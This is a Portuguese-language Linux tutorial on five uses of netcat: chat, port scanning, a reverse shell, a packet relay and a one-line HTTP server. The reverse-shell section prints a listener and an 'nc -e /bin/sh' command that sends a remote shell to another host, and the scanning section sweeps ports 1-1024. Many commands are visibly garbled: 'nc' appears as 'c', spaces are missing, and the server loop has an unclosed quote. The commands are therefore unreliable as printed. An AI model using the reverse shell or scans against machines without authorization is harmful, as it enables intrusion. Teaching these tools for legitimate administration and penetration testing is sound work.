5 Usos Simples e Fáceis para Netcat no Linux

Uma fotografia de um homem inspecionando um cabo UTP em um rack de servidores.

Netcat é uma poderosa ferramenta de rede de linha de comando no Linux que pode enviar e escutar pacotes TCP e UDP. Ao contrário de outras ferramentas de rede, o netcat é extremamente básico. No entanto, sua simplicidade também permite que ele realize quase qualquer tipo de atividade em uma rede.

Este artigo mostrará 5 tarefas simples de rede que você pode realizar com o netcat. Além disso, este artigo também destacará o que torna o netcat especial e por que você deve incluí-lo em seu kit de ferramentas do Linux.

Índice

  • Como o Netcat Funciona e Por Que Usá-lo?
    1. Sessão de Chat Ponto a Ponto
    1. Scanner de Portas Básico
    1. Shell Reversa
    1. Revezamento Básico de Pacotes
    1. Servidor HTTP Básico
  • Perguntas Frequentes

Como o Netcat Funciona e Por Que Usá-lo?

Netcat é uma ferramenta básica que pode enviar e receber pacotes de rede. Foi lançado pela primeira vez em 1995 por um programador pseudônimo chamado Hobbit. Desde então, o netcat tem sido uma parte importante de cada distribuição Linux.

Em sua essência, o netcat funciona enviando solicitações de rede de um host Linux para outro. Esta solicitação de rede pode conter qualquer tipo de dado e você pode enviá-la em qualquer porta.

Um terminal mostrando uma transferência de texto simples usando netcat.

Essa abordagem significa que o netcat pode criar qualquer tipo de conexão de rede possível. Por exemplo, o programa pode criar conexões TCP diretas que você pode usar para transferir arquivos ou criar sessões de shell reversas.

Uma área de trabalho mostrando uma transferência de arquivo simples entre dois hosts Linux usando netcat.

1. Sessão de Chat Ponto a Ponto

Um dos usos mais básicos para o netcat é uma simples sessão de chat ponto a ponto entre duas máquinas Linux. Este é um método de comunicação que não depende de nenhum servidor de terceiros para enviar e receber informações.

  1. Para que isso funcione, você precisa abrir uma porta entre 49152 e 65536 em sua máquina local. É aqui que um host remoto poderá se conectar e enviar informações arbitrárias para sua máquina.
sudo ufw allow 50000
  1. Você também precisa abrir uma porta diferente no host remoto para que sua máquina possa enviar informações para ele:
sudo ufw allow 50001
  1. Execute netcat em sua máquina com os seguintes argumentos:
nc -lp50000

Isso abrirá uma sessão netcat que está ativamente escutando dados na porta 50000.

  1. O host remoto agora pode enviar qualquer dado de texto para sua máquina local. Por exemplo, o seguinte comando enviará a entrada padrão do sistema para uma máquina remota.
cat - | nc 192.168.122.136 50000

Um terminal mostrando o prompt de entrada padrão para um chat básico com netcat.

  1. Para responder à mensagem, o host remoto também precisa executar um daemon de escuta:
nc -lp50001
  1. Agora, você também pode enviar uma mensagem da máquina local para o host remoto:
cat - | nc 192.168.122.177 50001

Um terminal mostrando dois terminais virtuais para um chat full duplex com netcat.

2. Scanner de Portas Básico

Um scanner de portas é uma ferramenta simples que verifica se um conjunto de portas em uma máquina é acessível a partir de um host remoto. Isso é extremamente útil em casos onde você não tem certeza se seu sistema tem as portas apropriadas abertas.

Para verificar uma única porta, você pode executar nc -v seguido do endereço IP e da porta que deseja verificar:

c -v 192.168.122.177 80

Um terminal mostrando um scan básico de porta para a porta 80.

Você também pode fornecer uma faixa de números onde o netcat verificará sequencialmente cada número de porta dentro dessa faixa. Por exemplo, executar o seguinte comando irá escanear todas as portas “bem conhecidas” abertas:

c -v 192.168.122.177 1-1024

Um terminal mostrando um scan em massa para portas

Uma das desvantagens de consultar portas é que isso gera tráfego de rede desnecessário. Isso pode ser um problema se você estiver testando uma grande faixa de portas em uma pequena rede doméstica.

Para corrigir isso, ative o modo “Zero I/O” do netcat, que não cria nenhuma atividade de rede no host remoto:

c -zv 192.168.122.177 1-1024

Um terminal mostrando um scan de porta em massa com zero IO usando netcat.

FYI: Aprenda como você pode usar o nmap mesmo sem sudo para coletar informações sobre as máquinas em sua rede local.

3. Shell Reversa

Shells reversas são o pão e a manteiga dos testes de penetração no Linux. Estas são instâncias de shell remoto que permitem que você controle um sistema mesmo sem portas de entrada abertas. Isso torna as shells reversas úteis se você precisar acessar uma máquina que não tem acesso SSH.

  1. Para criar uma shell reversa, você precisa abrir um daemon de escuta em sua máquina local:
c -lp50000
  1. Inicie uma conexão netcat em sua máquina remota. Neste caso, você também precisa passar o ambiente de shell da máquina remota:
c -e/bin/sh 192.168.122.136 50000

Nota: O comando acima funcionará apenas em distribuições que não são Ubuntu. Para fazer isso no Ubuntu, você precisa instalar o pacote “netcat-traditional” e substituir “nc” por “nc.traditional.”

  1. Volte para sua máquina local e execute um comando de shell. Por exemplo, executar ls imprimirá o diretório atual do usuário remoto.
ls-la

Um terminal mostrando a saída de uma shell reversa bem-sucedida.

  1. Para encerrar a sessão de shell reversa, você pode pressionar Ctrl + C no daemon de escuta de sua máquina local.

Um terminal mostrando o fechamento da shell reversa na máquina local.

Bom saber: Aprenda como você pode usar efetivamente sua shell reversa aprendendo o básico de scripting de shell.

4. Revezamento Básico de Pacotes

Além de ler e escrever diretamente em um fluxo de rede, você também pode usar o netcat para redirecionar uma conexão de entrada para qualquer porta de saída. Isso funciona encadeando várias sessões de escuta e cliente do netcat usando pipes UNIX.

  1. Crie uma sessão netcat que escute na porta 50000. Esta servirá como a porta de saída para seu revezamento básico:
c -lv localhost 50000
  1. Abra um novo terminal e execute o seguinte comando:
c -lv localhost 50001 | nc localhost 50000

Fazendo isso, você criará um novo daemon de escuta na porta 50001 e ele redirecionará automaticamente quaisquer pacotes nesta porta para a porta 50000.

Um terminal mostrando a conexão de passagem entre duas portas.

  1. Agora você pode enviar dados para sua porta de entrada e o netcat redirecionará automaticamente sua saída para sua porta de saída.
echo"MakeTechEasier"| nc localhost 50001

Um terminal mostrando um revezamento básico de pacotes em ação.

  1. Além de portas locais, você também pode usar esse recurso para redirecionar qualquer tráfego de rede para uma máquina diferente. Por exemplo, o seguinte código envia dados na porta 50000 para a mesma porta em um sistema diferente:
c -lv localhost 50000| nc 192.168.122.177 50000

Um terminal mostrando um revezamento básico de pacotes entre dois hosts.

Nota: Para que isso funcione, você precisará executar vários processos daemon, e isso não criptografa nenhum dado que passa por ele.

5. Servidor HTTP Básico

Configurar um servidor HTTP pode ser um processo complexo, mesmo que você queira apenas servir uma única página. Nesse sentido, o netcat também pode servir como um simples servidor web estático que você pode configurar no Linux sem instalar ferramentas adicionais.

  1. Crie um arquivo de resposta HTTP básico. O seguinte trecho de código exibe uma página web com uma mensagem simples:
HTTP/1.1 200 OK  
Content-Type: text/html; charset=UTF-8  
Server: netcat!  
  
  
  
# Olá MakeTechEasier!  
  
  1. Salve-o como “index.http” em seu diretório home.

Um terminal mostrando a estrutura de uma resposta HTTP simples.

  1. Execute o seguinte comando:
whiletrue; do{echo-e'cat /home/$USER/index.http; } | nc -lv localhost 8080; done

Um terminal mostrando um servidor web netcat simples em execução.

Agora você tem um servidor web funcionando. Você pode visitar sua página web abrindo um navegador e indo para http://localhost:8080.

Uma captura de tela mostrando um servidor web netcat funcionando servindo uma página web.

  1. Pressione Ctrl + C no terminal para sair da sessão atual do servidor web.

Um terminal mostrando o processo de fechamento do servidor web básico netcat.

Nota: Como você pode ver, este é apenas um servidor HTTP muito básico e ele é inseguro. Se você estiver executando seu próprio servidor, deve seguir estas dicas para proteger seu servidor.

Bom saber: Aprenda a gerenciar seus arquivos de forma eficaz usando sed para manipular fluxos de texto.

Perguntas Frequentes

Não consigo me conectar a uma máquina remota usando netcat.

Esse problema é mais provável que seja devido a uma porta de firewall bloqueada na máquina remota. Você precisa garantir que a porta que está usando em sua máquina esteja aberta para conexões de entrada e saída. Por exemplo, você precisa executar sudo ufw allow 49999 se quiser usar a porta 49999 na máquina remota.

É possível conectar-se a qualquer host usando netcat?

Não. Embora o netcat possa ler e escrever em qualquer fluxo de rede arbitrário, ele não pode se conectar a uma máquina que não seja descobrível a partir da rede do seu sistema. Isso inclui redes privadas que não têm encaminhamento de porta habilitado, bem como sistemas isolados que não têm acesso à rede.

É possível falsificar uma conexão no netcat?

Não. Isso ocorre porque o netcat só pode enviar e receber pacotes de uma interface de rede válida. No entanto, você pode mudar de onde aquele pacote específico vem se tiver várias interfaces de rede.

Por exemplo, você pode executar nc -l -s 10.0.0.2 -p 50000 para dizer ao netcat para enviar pacotes explicitamente usando a interface que tem o endereço IP “10.0.0.2.”

Crédito da imagem: ThisisEngineering RAEng via Unsplash. Todas as alterações e capturas de tela por Ramces Red.